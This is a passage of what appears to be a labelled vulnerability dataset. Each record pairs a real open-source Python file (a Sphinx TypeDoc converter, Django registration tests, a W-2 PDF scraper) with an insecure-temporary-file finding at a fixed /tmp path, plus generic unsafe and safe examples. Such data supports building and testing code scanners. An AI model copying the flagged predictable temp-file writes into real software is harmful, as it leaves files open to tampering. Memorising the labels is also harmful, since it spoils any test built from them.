description=\"tester\")\n bm = BranchManager(lb, username=UT_USERNAME)\n bm.create_branch('new-branch-1')\n bm.create_branch('new-branch-2')\n bm.workon_branch('master')\n\n q = f\"\"\"\n {{\n labbook(name: \"{UT_LBNAME}\", owner: \"{UT_USERNAME}\") {{\n branches {{\n branchName\n isLocal\n isRemote\n isActive\n commitsAhead\n commitsBehind\n }}\n }}\n }}\n \"\"\"\n\n r = client.execute(q)\n assert 'errors' not in r\n assert len(r['data']['labbook']['branches']) == 3\n assert r['data']['labbook']['branches'][0]['branchName'] == 'master'\n assert r['data']['labbook']['branches'][0]['isLocal'] is True, \"Should be local\"\n assert r['data']['labbook']['branches'][0]['isRemote'] is False, \"not published yet\"\n assert r['data']['labbook']['branches'][0]['isActive'] is True\n assert r['data']['labbook']['branches'][0]['commitsAhead'] == 0\n assert r['data']['labbook']['branches'][0]['commitsBehind'] == 0\n\n # Make a remote change!\n username = 'default'\n wf = LabbookWorkflow(lb)\n wf.publish(username=username)\n\n other_user = 'other-test-user'\n remote = RepoLocation(wf.remote, other_user)\n wf_other = LabbookWorkflow.import_from_remote(remote, username=other_user)\n with open(os.path.join(wf_other.repository.root_dir, 'testfile'), 'w') as f:\n f.write('filedata')\n wf_other.repository.sweep_uncommitted_changes()\n\n wf_other.sync(username=other_user)\n\n r = client.execute(q)\n assert 'errors' not in r\n assert len(r['data']['labbook']['branches']) == 3\n assert r['data']['labbook']['branches'][0]['branchName'] == 'master'\n assert r['data']['labbook']['branches'][0]['isLocal'] is True, \"Should be local\"\n assert r['data']['labbook']['branches'][0]['isRemote'] is True, \"There should be a remote\"\n assert r['data']['labbook']['branches'][0]['isActive'] is True\n assert r['data']['labbook']['branches'][0]['commitsAhead'] == 0\n assert r['data']['labbook']['branches'][0]['commitsBehind'] == 1\n\n # Make a local change!\n lb.write_readme(\"blah\")\n\n r = client.execute(q)\n assert 'errors' not in r\n assert len(r['data']['labbook']['branches']) == 3\n assert r['data']['labbook']['branches'][0]['branchName'] == 'master'\n assert r['data']['labbook']['branches'][0]['isLocal'] is True, \"Should be local\"\n assert r['data']['labbook']['branches'][0]['isRemote'] is True, \"There should be a remote\"\n assert r['data']['labbook']['branches'][0]['isActive'] is True\n assert r['data']['labbook']['branches'][0]['commitsAhead'] == 1\n assert r['data']['labbook']['branches'][0]['commitsBehind'] == 1\n\n # Sync\n wf.sync(username=username)\n r = client.execute(q)\n assert 'errors' not in r\n assert len(r['data']['labbook']['branches']) == 3\n assert r['data']['labbook']['branches'][0]['branchName'] == 'master'\n assert r['data']['labbook']['branches'][0]['isLocal'] is True, \"Should be local\"\n assert r['data']['labbook']['branches'][0]['isRemote'] is True, \"There should be a remote\"\n assert r['data']['labbook']['branches'][0]['isActive'] is True\n assert r['data']['labbook']['branches'][0]['commitsAhead'] == 0\n assert r['data']['labbook']['branches'][0]['commitsBehind'] == 0", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 479, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "8050c11d3eded966c7431a47fb2ee3a7ad69240e168e5e9c5a9b06409d7277f3", "license": {"spdx": ["MIT"], "repo": "semohr/sphinx-js", "path": "sphinx_js/typedoc.py", "repo_head_hexsha": "0aa89fe3a18378cf8b50898ba6b23114daa220f7", "stack_hexsha": "6fcbda55b9e3ca625d5380ce1e98701577306bef", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 35, "entireCode": "\"\"\"Converter from TypeDoc output to IR format\"\"\"\n\nfrom codecs import getreader\nfrom errno import ENOENT\nfrom json import load, dump\nfrom os.path import basename, join, normpath, relpath, sep, splitext\nimport re\nimport subprocess\nfrom tempfile import NamedTemporaryFile\nfrom typing import List, Optional, Tuple, Union\n\nfrom sphinx.errors import SphinxError\n\nfrom .analyzer_utils import Command, is_explicitly_rooted\nfrom .ir import Attribute, Class, Function, Interface, NO_DEFAULT, Param, Pathname, Return, TopLevel\nfrom .suffix_tree import SuffixTree\n\nclass Analyzer:\n def __init__(self, json, base_dir):\n \"\"\"\n :arg json: The loaded JSON output from typedoc\n :arg base_dir: The absolute path of the dir relative to which to\n construct file-path segments of object paths\n\n \"\"\"\n self._base_dir = base_dir\n self._index = index_by_id({}, json)\n ir_objects = self._convert_all_nodes(json)\n # Toss this overboard to save RAM. We're done with it now:\n del self._index\n self._objects_by_path = SuffixTree()\n self._objects_by_path.add_many((obj.path.segments, obj) for obj in ir_objects)\n self._name_to_filename = self._get_name_to_filename(ir_objects)\n # Save name to filename for later use:\n with open('/tmp/name_to_filename.json', 'w') as f:\n dump(self._name_to_filename, f,indent=2)\n\n @classmethod\n def from_disk(cls, abs_source_paths, app, base_dir):\n json = typedoc_output(abs_source_paths,\n app.confdir,\n app.config.jsdoc_config_path)\n\n return cls(json, base_dir)\n\n def _get_name_to_filename(self,ir_objects):\n t = {}\n for obj in ir_objects:\n path = \"\".join(obj.path.segments).split('/')\n ref = path.pop(-1)\n ref = ref.split('.')\n \n for r in range(len(ref)):\n ref_str = \".\".join(ref[r:])\n t[ref_str] = \"/\".join(path) +\"/\"+ obj.filename\n \n return t\n\n def get_object(self, path_suffix, as_type=None):\n \"\"\"Return the IR object with the given path suffix.\n\n :arg as_type: Ignored\n\n We can't scan through the raw TypeDoc output at runtime like the JSDoc\n analyzer does, because it's just a linear list of files, each\n containing a nested tree of nodes. They're not indexed at all. And\n since we need to index by suffix, we need to traverse all the way down,\n eagerly. Also, we will keep the flattening, because we need it to\n resolve the IDs of references. (Some of the references are potentially\n important in the future: that's how TypeDoc points to superclass\n definitions of methods inherited by subclasses.)\n\n \"\"\"\n return self._objects_by_path.get(path_suffix)\n\n def _containing_module(self, node) -> Optional[Pathname]:\n \"\"\"Return the Pathname pointing to the module containing the given\n node, None if one isn't found.\"\"\"\n while True:\n node = node.get('__parent')\n if not node or node['id'] == 0:\n # We went all the way up but didn't find a containing module.\n return\n elif node.get('kindString') == 'External module':\n # Found one!\n return Pathname(make_path_segments(node, self._base_dir))\n\n def _top_level_properties(self, node):\n source = node.get('sources')[0]\n if node.get('flags', {}).get('isExported', False):\n exported_from = self._containing_module(node)\n else:\n exported_from = None\n return dict(\n name=short_name(node),\n path=Pathname(make_path_segments(node, self._base_dir)),\n filename=basename(source['fileName']),\n description=make_description(node.get('comment', {})),\n line=source['line'],\n\n # These properties aren't supported by TypeDoc:\n deprecated=False,\n examples=[],\n see_alsos=[],\n properties=[],\n \n exported_from=exported_from)\n\n def _constructor_and_members(self, cls) -> Tuple[Optional[Function], List[Union[Function, Attribute]]]:\n \"\"\"Return the constructor and other members of a class.\n\n In TS, a constructor may have multiple (overloaded) type signatures but\n only one implementation. (Same with functions.) So there's at most 1\n constructor to return. Return None for the constructor if it is\n inherited or implied rather than explicitly present in the class.\n\n :arg cls: A TypeDoc node of the class to take apart\n :return: A tuple of (constructor Function, list of other members)\n\n \"\"\"\n constructor = None\n members = []\n for child in cls.get('children', []):\n ir, _ = self._convert_node(child)\n if ir:\n if (child.get('kindString') == 'Constructor'):\n # This really, really should happen exactly once per class.\n constructor = ir\n else:\n members.append(ir)\n return constructor, members\n\n def _convert_all_nodes(self, root):\n todo = [root]\n done = []\n while todo:\n converted, more_todo = self._convert_node(todo.pop())\n if converted:\n done.append(converted)\n todo.extend(more_todo)\n return done\n\n def _convert_node(self, node) -> Tuple[TopLevel, List[dict]]:\n \"\"\"Convert a node of TypeScript JSON output to an IR object.\n\n :return: A tuple: (the IR object, a list of other nodes found within\n that you can convert to other IR objects). For the second item of\n the tuple, nodes that can't presently be converted to IR objects\n are omitted.\n\n \"\"\"\n if node.get('inheritedFrom'):\n return None, []\n if node.get('sources'):\n # Ignore nodes with a reference to absolute paths (like /usr/lib)\n source = node.get('sources')[0]\n if source.get('fileName', '.')[0] == '/':\n return None, []\n\n ir = None\n kind = node.get('kindString')\n if kind == 'External module':\n # We shouldn't need these until we implement automodule. But what\n # of js:mod in the templates?\n pass\n elif kind == 'Module':\n # Does anybody even use TS's old internal modules anymore?\n pass\n elif kind == 'Interface':\n _, members = self._constructor_and_members(node)\n ir = Interface(\n members=members,\n supers=self._related_types(node, kind='extendedTypes'),\n **self._top_level_properties(node))\n elif kind == 'Class':\n # Every class has a constructor in the JSON, even if it's only\n # inherited.\n constructor, members = self._constructor_and_members(node)\n ir = Class(\n constructor=constructor,\n members=members,\n supers=self._related_types(node, kind='extendedTypes'),\n is_abstract=node.get('flags', {}).get('isAbstract', False),\n interfaces=self._related_types(node, kind='implementedTypes'),\n **self._top_level_properties(node))\n elif kind in ['Property', 'Variable']:\n ir = Attribute(\n type=self._type_name(node.get('type')),\n **member_properties(node),\n **self._top_level_properties(node))\n elif kind == 'Accessor':\n get_signature = node.get('getSignature')\n if get_signature:\n # There's no signature to speak of for a getter: only a return type.\n type = get_signature[0]['type']\n else:\n # ES6 says setters have exactly 1 param. I'm not sure if they\n # can have multiple signatures, though.\n type = node['setSignature'][0]['parameters'][0]['type']\n ir = Attribute(\n type=self._type_name(type),\n **member_properties(node),\n **self._top_level_properties(node))\n elif kind in ['Function', 'Constructor', 'Method']:\n # There's really nothing in these; all the interesting bits are in\n # the contained 'Call signature' keys. We support only the first\n # signature at the moment, because to do otherwise would create\n # multiple identical pathnames to the same function, which would\n # cause the suffix tree to raise an exception while being built. An\n # eventual solution might be to store the signatures in a one-to-\n # many attr of Functions.\n sigs = node.get('signatures')\n first_sig = sigs[0] # Should always have at least one\n def rec_helper(node):\n if not \"sources\" in node[\"__parent\"]:\n return rec_helper(node[\"__parent\"])\n return node[\"__parent\"][\"sources\"]\n \n if \"sources\" in node:\n first_sig['sources'] = node['sources']\n else:\n first_sig['sources'] = rec_helper(node)\n return self._convert_node(first_sig)\n elif kind in ['Call signature', 'Constructor signature']:\n # This is the real meat of a function, method, or constructor.\n #\n # Constructors' .name attrs end up being like 'new Foo'. They\n # should probably be called \"constructor\", but I'm not bothering\n # with that yet because nobody uses that attr on constructors atm.\n ir = Function(\n params=[self._make_param(p) for p in node.get('parameters', [])],\n # Exceptions are discouraged in TS as being unrepresentable in its\n # type system. More importantly, TypeDoc does not support them.\n exceptions=[],\n # Though perhaps technically true, it looks weird to the user\n # (and in the template) if constructors have a return value:\n returns=self._make_returns(node) if kind != 'Constructor signature' else [],\n **member_properties(node['__parent']),\n **self._top_level_properties(node))\n\n\n return ir, node.get('children', [])\n\n def _related_types(self, node, kind):\n \"\"\"Return the unambiguous pathnames of implemented interfaces or\n extended classes.\n\n If we encounter a formulation of interface or class reference that we\n don't understand (which I expect to occur only if it turns out you can\n use a class or interface literal rather than referencing a declared\n one), return 'UNIMPLEMENTED' for that interface or class so somebody\n files a bug requesting we fix it. (It's not worth crashing for.)\n\n \"\"\"\n types = []\n for type in node.get(kind, []):\n if type['type'] == 'reference' and \"id\" in type:\n pathname = Pathname(make_path_segments(self._index[type['id']],\n self._base_dir))\n types.append(pathname)\n # else it's some other thing we should go implement\n return types\n\n def _type_name(self, type):\n \"\"\"Return a string description of a type.\n\n :arg type: A TypeDoc-emitted type node\n\n \"\"\"\n type_of_type = type.get('type')\n\n if type_of_type == 'reference' and type.get('id'):\n node = self._index[type['id']]\n name = node['name']\n elif type_of_type == 'unknown':\n if re.match(r'-?\\d*(\\.\\d+)?', type['name']): # It's a number.\n # TypeDoc apparently sticks numeric constants' values into the\n # type name. String constants? Nope. Function ones? Nope.\n name = 'number'\n else:\n name = type['name']\n elif type_of_type in ['intrinsic', 'reference']:\n name = type['name']\n elif type_of_type == 'stringLiteral':\n name = '\"' + type['value'] + '\"'\n elif type_of_type == 'array':\n name = self._type_name(type['elementType']) + '[]'\n elif type_of_type == 'tuple' and type.get('elements'):\n types = [self._type_name(t) for t in type['elements']]\n name = '[' + ', '.join(types) + ']'\n elif type_of_type == 'union':\n name = '|'.join(self._type_name(t) for t in type['types'])\n elif type_of_type == 'intersection':\n name = ' & '.join(self._type_name(t) for t in type['types'])\n elif type_of_type == 'typeOperator':\n name = type['operator'] + ' ' + self._type_name(type['target'])\n # e.g. \"keyof T\"\n elif type_of_type == 'typeParameter':\n name = type['name']\n constraint = type.get('constraint')\n if constraint is not None:\n name += ' extends ' + self._type_name(constraint)\n # e.g. K += extends + keyof T\n elif type_of_type == 'reflection':\n name = ''\n # test_generic_member() (currently skipped) tests this.\n else:\n name = ''\n\n type_args = type.get('typeArguments')\n if type_args:\n arg_names = ', '.join(self._type_name(arg) for arg in type_args)\n name += f'<{arg_names}>'\n\n return name\n\n def _make_param(self, param):\n \"\"\"Make a Param from a 'parameters' JSON item\"\"\"\n has_default = 'defaultValue' in param\n return Param(\n name=param.get('name'),\n description=make_description(param.get('comment', {})),\n has_default=has_default,\n is_variadic=param.get('flags', {}).get('isRest', False),\n # For now, we just pass a single string in as the type rather than\n # a list of types to be unioned by the renderer. There's really no\n # disadvantage.\n type=self._type_name(param.get('type', {})),\n default=param['defaultValue'] if has_default else NO_DEFAULT)\n\n def _make_returns(self, signature) -> List[Return]:\n \"\"\"Return the Returns a function signature can have.\n\n Because, in TypeDoc, each signature can have only 1 @return tag, we\n return a list of either 0 or 1 item.\n\n \"\"\"\n type = signature.get('type')\n if type is None or type.get('name') == 'void':\n # Returns nothing\n return []\n return [Return(\n type=self._type_name(type),\n description=signature.get('comment', {}).get('returns', '').strip())]\n\n\ndef typedoc_output(abs_source_paths, sphinx_conf_dir, config_path):\n \"\"\"Return the loaded JSON output of the TypeDoc command run over the given\n paths.\"\"\"\n command = Command('typedoc')\n if config_path:\n command.add('--tsconfig', normpath(join(sphinx_conf_dir, config_path)))\n\n with NamedTemporaryFile(mode='w+b') as temp:\n command.add('--json', temp.name, *abs_source_paths)\n try:\n subprocess.call(command.make())\n except OSError as exc:\n if exc.errno == ENOENT:\n raise SphinxError('%s was not found. Install it using \"npm install -g typedoc\".' % command.program)\n else:\n raise\n # typedoc emits a valid JSON file even if it finds no TS files in the dir:\n return load(getreader('utf-8')(temp))\n\n\ndef index_by_id(index, node, parent=None):\n \"\"\"Create an ID-to-node mapping for all the TypeDoc output nodes.\n\n We don't unnest them, but we do add ``__parent`` keys so we can easily walk\n both up and down.\n\n :arg index: The mapping to add keys to as we go\n :arg node: The node to start traversing down from\n :arg parent: The parent node of ``node``\n\n \"\"\"\n # TODO: Can we just uniformly set __parent on nodes rather than doing it\n # differently in different cases? I think the reason for the cases is that\n # we used to set a parent ID rather than a parent pointer and not all nodes\n # have IDs.\n if node is not None:\n id = node.get('id')\n if id is not None: # 0 is okay; it's the root node.\n # Give anything in the map a parent:\n node['__parent'] = parent # Parents are used for (1) building longnames, (2) setting memberof (which we shouldn't have to do anymore; we can just traverse children), (3) getting the module a class or interface is defined in so we can link to it, and (4) one other things, so it's worth setting them.\n index[id] = node\n\n # Burrow into everything that could contain more ID'd items. We don't\n # need setSignature or getSignature for now. Do we need indexSignature?\n for tag in ['children', 'signatures', 'parameters',\"typeParameter\"]:\n for child in node.get(tag, []):\n index_by_id(index, child, parent=node)\n\n return index\n\n\ndef make_description(comment):\n \"\"\"Construct a single comment string from a fancy object.\"\"\"\n ret = '\\n\\n'.join(text for text in [comment.get('shortText'),\n comment.get('text')]\n if text)\n return ret.strip()\n\n\ndef member_properties(node):\n flags = node.get('flags', {})\n return dict(\n is_abstract=flags.get('isAbstract', False),\n is_optional=flags.get('isOptional', False),\n is_static=flags.get('isStatic', False),\n is_private=flags.get('isPrivate', False))\n\n\ndef short_name(node):\n if node['kindString'] in ['Module', 'External module']:\n return node['name'][1:-1] # strip quotes\n return node['name']\n\n\n# Optimization: Could memoize this for probably a decent perf gain: every child\n# of an object redoes the work for all its parents.\ndef make_path_segments(node, base_dir, child_was_static=None):\n \"\"\"Return the full, unambiguous list of path segments that points to an\n entity described by a TypeDoc JSON node.\n\n Example: ``['./', 'dir/', 'dir/', 'file.', 'object.', 'object#', 'object']``\n\n :arg base_dir: Absolute path of the dir relative to which file-path\n segments are constructed\n :arg child_was_static: True if the child node we're computing the path of\n is a static member of the node under consideration. False if it is.\n None if the current node is the one we're ultimately computing the path\n of.\n\n TypeDoc uses a totally different, locality-sensitive resolution mechanism\n for links: https://typedoc.org/guides/link-resolution/. It seems like a\n less well thought-out system than JSDoc's namepaths, as it doesn't\n distinguish between, say, static and instance properties of the same name.\n (AFAICT, TypeDoc does not emit documentation for inner properties, as for a\n function nested within another function.) We're sticking with our own\n namepath-like paths, even if we eventually support {@link} syntax.\n\n \"\"\"\n node_is_static = node.get('flags', {}).get('isStatic', False)\n\n parent = node.get('__parent')\n parent_segments = (make_path_segments(parent, base_dir, child_was_static=node_is_static)\n if parent else [])\n\n kind = node.get('kindString')\n delimiter = '' if child_was_static is None else '.'\n\n # Handle the cases here that are handled in _convert_node(), plus any that\n # are encountered on other nodes on the way up to the root.\n if kind in ['Variable', 'Property', 'Accessor', 'Interface', 'Module']:\n # We emit a segment for a Method's child Call Signature but skip the\n # Method itself. They 2 nodes have the same names, but, by taking the\n # child, we fortuitously end up without a trailing delimiter on our\n # last segment.\n segments = [node['name']]\n elif kind in ['Call signature', 'Constructor signature']:\n # Similar to above, we skip the parent Constructor and glom onto the\n # Constructor Signature. That gets us no trailing delimiter. However,\n # the signature has name == 'new Foo', so we go up to the parent to get\n # the real name, which is usually (always?) \"constructor\".\n segments = [parent['name']]\n elif kind == 'Class':\n segments = [node['name']]\n if child_was_static is False:\n delimiter = '#'\n elif kind == 'External module':\n # 'name' contains folder names if multiple folders are passed into\n # TypeDoc. It's also got excess quotes. So we ignore it and take\n # 'originalName', which has a nice, absolute path.\n rel = relpath(node['originalName'], base_dir)\n if not is_explicitly_rooted(rel):\n rel = f'.{sep}{rel}'\n segments = rel.split(sep)\n filename = splitext(segments[-1])[0]\n segments = [s + '/' for s in segments[:-1]] + [filename]\n else:\n # None, as for a root node, Constructor, or Method\n segments = []\n\n if segments:\n # It's not some abstract thing the user doesn't think about and we skip\n # over.\n segments[-1] += delimiter\n return parent_segments + segments\n else:\n # Allow some levels of the JSON to not have a corresponding path segment:\n return parent_segments", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 35, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "858ba14322646a6224573e01df2e4d0102c2dcd4a0f66ff63f695137890277ac", "license": {"spdx": ["BSD-2-Clause"], "repo": "AllMyChanges/allmychanges.com", "path": "allmychanges/tests/registration.py", "repo_head_hexsha": "6729e9bddee8f76068737383d641ca3bc6e85422", "stack_hexsha": "496d2c7902c0f595bfd9fe0356486cb1d1ca1bd5", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 69, "entireCode": "# coding: utf-8\n\nfrom nose.tools import eq_\nfrom .utils import check_status_code, create_user, refresh\nfrom allmychanges import chat\nfrom allmychanges.models import EmailVerificationCode\n\nfrom django.core import mail\nfrom django.test import Client\nfrom django.core.urlresolvers import reverse\n\n\ndef test_user_creation_lead_to_chat_notification():\n chat.clear_messages()\n create_user('art')\n eq_(1, len(chat.messages))\n\n\ndef test_first_step_sends_email_with_email_validation_code():\n cl = Client()\n user = create_user('art')\n cl.login(username='art', password='')\n\n eq_(0, EmailVerificationCode.objects.count())\n\n response = cl.post(reverse('first-step'),\n dict(email='',\n timezone='UTC'))\n check_status_code(302, response)\n\n eq_('http://testserver' + reverse('second-step'), response['Location'])\n eq_(1, EmailVerificationCode.objects.count())\n user = refresh(user)\n assert user.email_verification_code is not None\n eq_(1, len(mail.outbox))\n\n\ndef test_verification_code():\n cl = Client()\n user = create_user('art')\n code = EmailVerificationCode.new_code_for(user)\n url = reverse('verify-email', kwargs=dict(code=code.hash))\n\n eq_(False, user.email_is_valid)\n\n response = cl.get(url)\n check_status_code(200, response)\n\n user = refresh(user)\n eq_(True, user.email_is_valid)\n\n\ndef test_email_is_required_in_account_settings():\n # email field is required now.\n # here we check if error message is shown on the page\n # when email is not given\n\n cl = Client()\n user = create_user('art')\n cl.login(username='art', password='')\n\n url = reverse('account-settings')\n response = cl.post(\n url,\n dict={}\n )\n check_status_code(200, response)\n assert 'There is some error in the form data' in response.content\n with open('/tmp/allmychanges/response.html', 'w') as f:\n f.write(response.content)\n assert 'We need your email to deliver fresh release notes.' in response.content", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 69, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "ff9c60de6cdab68b1779a16b3dccf75c8c536233540dc7c6cb232a3b04cd24a1", "license": {"spdx": ["Xnet", "X11"], "repo": "aaronzhuclover/master", "path": "Digitize unstructured data (Python)/code/PDF scraper - With Multiple Panels.py", "repo_head_hexsha": "44f74bce47f0a6b27d35887f87354cac6c927c45", "stack_hexsha": "0c40fdb6197cd2e942eb593cffe69b7ec411d8e7", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 197, "entireCode": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on 12/20/2019\n\n@author: Azhu\n\"\"\"\n\nimport glob\nimport pdfquery\nimport os\nimport tabula as tb\nimport cv2\nimport numpy as np\nimport pandas as pd\nimport PyPDF2\nfrom PyPDF2 import PdfFileReader, PdfFileWriter\n\n########################################################################################\n# define a scraping function \ndef pdfscrape(pdf):\n # extract year \n label = pdf.pq('LTTextLineHorizontal:contains(\"{}\")'.format(\"Tax Statement\") ) \n year = pd.DataFrame()\n for i in range(len(label)):\n x0 = float(label[i].get('x1',0)) + 5\n y0 = float(label[i].get('y1',0)) + 1\n x1 = float(label[i].get('x1',0)) + 30\n y1 = float(label[i].get('y1',0)) + 2 \n if (x0<300) & (x1<300) & (y0>440) & (y1>440): \n loc = 1\n elif (x0>300) & (x1>300) & (y0>440) & (y1>440): \n loc = 2 \n elif (x0<300) & (x1<300) & (y0<440) & (y1<440): \n loc = 3 \n elif (x0>300) & (x1>300) & (y0<440) & (y1<440): \n loc = 4 \n year_str = pdf.pq('LTTextLineHorizontal:overlaps_bbox(\"%s, %s, %s, %s\")' % (x0, y0, x1, y1)).text()\n record = pd.DataFrame({'loc': loc, 'year': year_str}, index=[0]) \n year = year.append(record, ignore_index = True)\n \n # extract ssn\n label = pdf.pq('LTTextLineHorizontal:contains(\"a Employee\")') \n ssn = pd.DataFrame()\n for i in range(len(label)):\n x0 = float(label[i].get('x0',0))\n y0 = float(label[i].get('y0',0)) - 15\n x1 = float(label[i].get('x1',0))\n y1 = float(label[i].get('y0',0)) - 1\n \n if str(label[i].layout).find('SSN')>0:\n if (x0<300) & (x1<300) & (y0>440) & (y1>440): \n loc = 1\n elif (x0>300) & (x1>300) & (y0>440) & (y1>440): \n loc = 2 \n elif (x0<300) & (x1<300) & (y0<440) & (y1<440): \n loc = 3 \n elif (x0>300) & (x1>300) & (y0<440) & (y1<440): \n loc = 4 \n ssn_str = pdf.pq('LTTextLineHorizontal:overlaps_bbox(\"%s, %s, %s, %s\")' % (x0, y0, x1, y1)).text()\n record = pd.DataFrame({'loc': loc, 'ssn': ssn_str}, index=[0]) \n ssn = ssn.append(record, ignore_index = True)\n else:\n continue\n \n # extract employer \n label = pdf.pq('LTTextLineHorizontal:contains(\"{}\")'.format(\"d Control\") ) \n employer = pd.DataFrame()\n for i in range(len(label)):\n x0 = float(label[i].get('x0',0))\n y0 = float(label[i].get('y1',0)) + 2\n x1 = float(label[i].get('x1',0)) \n y1 = float(label[i].get('y1',0)) + 40 \n if (x0<300) & (x1<300) & (y0>440) & (y1>440): \n loc = 1\n elif (x0>300) & (x1>300) & (y0>440) & (y1>440): \n loc = 2 \n elif (x0<300) & (x1<300) & (y0<440) & (y1<440): \n loc = 3 \n elif (x0>300) & (x1>300) & (y0<440) & (y1<440): \n loc = 4 \n employer_str = pdf.pq('LTTextLineHorizontal:overlaps_bbox(\"%s, %s, %s, %s\")' % (x0, y0, x1, y1)).text()\n record = pd.DataFrame({'loc': loc, 'employer': employer_str}, index=[0]) \n employer = employer.append(record, ignore_index = True)\n \n # extract control_number \n label = pdf.pq('LTTextLineHorizontal:contains(\"d Control\")') \n control_number = pd.DataFrame()\n for i in range(len(label)):\n x0 = float(label[i].get('x0',0))\n y0 = float(label[i].get('y0',0)) - 6\n x1 = float(label[i].get('x1',0)) + 30\n y1 = float(label[i].get('y0',0)) - 1 \n if (x0<300) & (x1<300) & (y0>440) & (y1>440): \n loc = 1\n elif (x0>300) & (x1>300) & (y0>440) & (y1>440): \n loc = 2 \n elif (x0<300) & (x1<300) & (y0<440) & (y1<440): \n loc = 3 \n elif (x0>300) & (x1>300) & (y0<440) & (y1<440): \n loc = 4 \n control_number_str = pdf.pq('LTTextLineHorizontal:overlaps_bbox(\"%s, %s, %s, %s\")' % (x0, y0, x1, y1)).text()\n record = pd.DataFrame({'loc': loc, 'control_number': control_number_str}, index=[0]) \n control_number = control_number.append(record, ignore_index = True)\n \n # extract employee_name \n label = pdf.pq('LTTextLineHorizontal:contains(\"{}\")'.format(\"Employee's name\") ) \n employee_name = pd.DataFrame()\n for i in range(len(label)):\n x0 = float(label[i].get('x0',0))\n y0 = float(label[i].get('y0',0)) - 6\n x1 = float(label[i].get('x1',0)) \n y1 = float(label[i].get('y0',0)) - 1 \n if (x0<300) & (x1<300) & (y0>440) & (y1>440): \n loc = 1\n elif (x0>300) & (x1>300) & (y0>440) & (y1>440): \n loc = 2 \n elif (x0<300) & (x1<300) & (y0<440) & (y1<440): \n loc = 3 \n elif (x0>300) & (x1>300) & (y0<440) & (y1<440): \n loc = 4 \n employee_name_str = pdf.pq('LTTextLineHorizontal:overlaps_bbox(\"%s, %s, %s, %s\")' % (x0, y0, x1, y1)).text()\n record = pd.DataFrame({'loc': loc, 'employee_name': employee_name_str}, index=[0]) \n employee_name = employee_name.append(record, ignore_index = True)\n \n # extract employee_address \n label = pdf.pq('LTTextLineHorizontal:contains(\"{}\")'.format(\"Employee's name\") ) \n employee_address = pd.DataFrame()\n for i in range(len(label)):\n x0 = float(label[i].get('x0',0))\n y0 = float(label[i].get('y0',0)) - 40\n x1 = float(label[i].get('x1',0)) \n y1 = float(label[i].get('y0',0)) - 10\n if (x0<300) & (x1<300) & (y0>440) & (y1>440): \n loc = 1\n elif (x0>300) & (x1>300) & (y0>440) & (y1>440): \n loc = 2 \n elif (x0<300) & (x1<300) & (y0<440) & (y1<440): \n loc = 3 \n elif (x0>300) & (x1>300) & (y0<440) & (y1<440): \n loc = 4 \n \n employee_address_raw = pdf.pq('LTTextLineHorizontal:overlaps_bbox(\"%s, %s, %s, %s\")' % (x0, y0, x1, y1))\n employee_address_str = ''\n for sub in employee_address_raw:\n employee_address_str = employee_address_str + \" | \" + sub.text\n employee_address_str = employee_address_str.replace(' | ', '', 1)\n \n record = pd.DataFrame({'loc': loc, 'employee_address': employee_address_str}, index=[0]) \n employee_address = employee_address.append(record, ignore_index = True)\n \n # extract medicare_wage_tip\n label = pdf.pq('LTTextLineHorizontal:contains(\"{}\")'.format(\"Medicare wages\") ) \n medicare_wage_tip = pd.DataFrame()\n for i in range(len(label)):\n x0 = float(label[i].get('x0',0))\n y0 = float(label[i].get('y0',0)) - 6\n x1 = float(label[i].get('x1',0)) \n y1 = float(label[i].get('y0',0)) - 1\n if (x0<300) & (x1<300) & (y0>440) & (y1>440): \n loc = 1\n elif (x0>300) & (x1>300) & (y0>440) & (y1>440): \n loc = 2 \n elif (x0<300) & (x1<300) & (y0<440) & (y1<440): \n loc = 3 \n elif (x0>300) & (x1>300) & (y0<440) & (y1<440): \n loc = 4 \n medicare_wage_tip_str = pdf.pq('LTTextLineHorizontal:overlaps_bbox(\"%s, %s, %s, %s\")' % (x0, y0, x1, y1)).text()\n record = pd.DataFrame({'loc': loc, 'medicare_wage_tip': medicare_wage_tip_str}, index=[0]) \n medicare_wage_tip = medicare_wage_tip.append(record, ignore_index = True)\n \n page = pd.merge(year, ssn, on 